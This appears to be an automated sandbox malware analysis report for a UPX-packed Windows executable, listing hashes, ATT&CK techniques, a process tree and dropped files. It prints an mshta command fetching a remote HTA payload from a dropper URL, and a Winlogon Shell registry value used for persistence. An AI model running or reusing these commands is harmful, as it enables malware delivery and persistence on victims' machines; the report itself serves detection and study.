f81cea3cf23dc2d75ad5c9deb707b07807c90a55520e441a7630aa7573f95bb0

Analysis

max time kernel
151s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
08/01/2024, 23:56

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General

Target

4ccacea000c555b1a333175803ba0af5.exe
Size

691KB
MD5

4ccacea000c555b1a333175803ba0af5
SHA1

8e919e3a04036ee3b5122d3fb047d907d23d1e3d
SHA256

f81cea3cf23dc2d75ad5c9deb707b07807c90a55520e441a7630aa7573f95bb0
SHA512

0bca51112c16fe66ac910289bf665168f25d71c4101123987c0afafdc698b93549eaf82e64be315ff9296cb3710a7d6375543952ab8e13f8d0aaf8de795d13ea
SSDEEP

12288:MSJsWPOGw+qYwxPsw5gubWPRJ+wsHdLgRU3M7tToSGRpQ7E5x36NuP:MSnwKwauipJXlCc7tkSGRWix36

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://rerererererere.com/inst.php?id=forbidden

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\palladium.exe"	z.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	4ccacea000c555b1a333175803ba0af5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	z.exe

Executes dropped EXE 1 IoCs

pid	Process
2636	z.exe

UPX packed file 19 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4908-0-0x0000000000400000-0x0000000000507000-memory.dmp	upx
behavioral2/files/0x000600000002312c-12.dat	upx
behavioral2/memory/2636-16-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/4908-17-0x0000000000400000-0x0000000000507000-memory.dmp	upx
behavioral2/memory/2636-26-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-27-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-28-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-30-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-31-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-32-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-33-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-34-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-35-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-36-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-37-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-38-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-39-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-40-0x0000000000400000-0x00000000007FC000-memory.dmp	upx
behavioral2/memory/2636-41-0x0000000000400000-0x00000000007FC000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe
2636	z.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2636	z.exe
2636	z.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4908 wrote to memory of 2636	4908	4ccacea000c555b1a333175803ba0af5.exe	90
PID 4908 wrote to memory of 2636	4908	4ccacea000c555b1a333175803ba0af5.exe	90
PID 4908 wrote to memory of 2636	4908	4ccacea000c555b1a333175803ba0af5.exe	90
PID 2636 wrote to memory of 2364	2636	z.exe	92
PID 2636 wrote to memory of 2364	2636	z.exe	92
PID 2636 wrote to memory of 2364	2636	z.exe	92
PID 2636 wrote to memory of 5028	2636	z.exe	93
PID 2636 wrote to memory of 5028	2636	z.exe	93
PID 2636 wrote to memory of 5028	2636	z.exe	93

C:\Users\Admin\AppData\Local\Temp\4ccacea000c555b1a333175803ba0af5.exe
"C:\Users\Admin\AppData\Local\Temp\4ccacea000c555b1a333175803ba0af5.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Users\Admin\AppData\Roaming\z.exe
  "C:\Users\Admin\AppData\Roaming\z.exe" forbidden
  2⤵
  - Modifies WinLogon for persistence
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden
    3⤵
    PID:2364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "
    3⤵
    PID:5028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat

Filesize
167B

MD5
e5a2cf708be039ebe72233673c1f2ac7

SHA1
cca4b5f8c08e07779f4eddd7e3c960d7f68078f8

SHA256
1f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c

SHA512
0d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645

Download Submit
C:\Users\Admin\AppData\Roaming\z.exe

Filesize
472KB

MD5
46577e2d36b664cf1cb8ec38b2889503

SHA1
3a239cc9b69a1501e3a43a746f2575da0a35bea8

SHA256
a91320a68ef0f4103d2f8f28910f85ab4fc47ab496170e3b09f7856e527e38f9

SHA512
9c17c1171b6f3c413865adedfaf05837e506cb7805cbbd6ba6806c1cd1691ae11ab6b17bc1fb171dd800892eb5ec1600954f73aa1c4a531dba5e2798f01dda8c

Download Submit
memory/2636-29-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/2636-32-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-41-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-18-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/2636-40-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-26-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-27-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-28-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-39-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-30-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-31-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-16-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-33-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-34-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-35-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-36-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-37-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/2636-38-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/4908-0-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/4908-1-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Filesize
4KB

Download
memory/4908-17-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download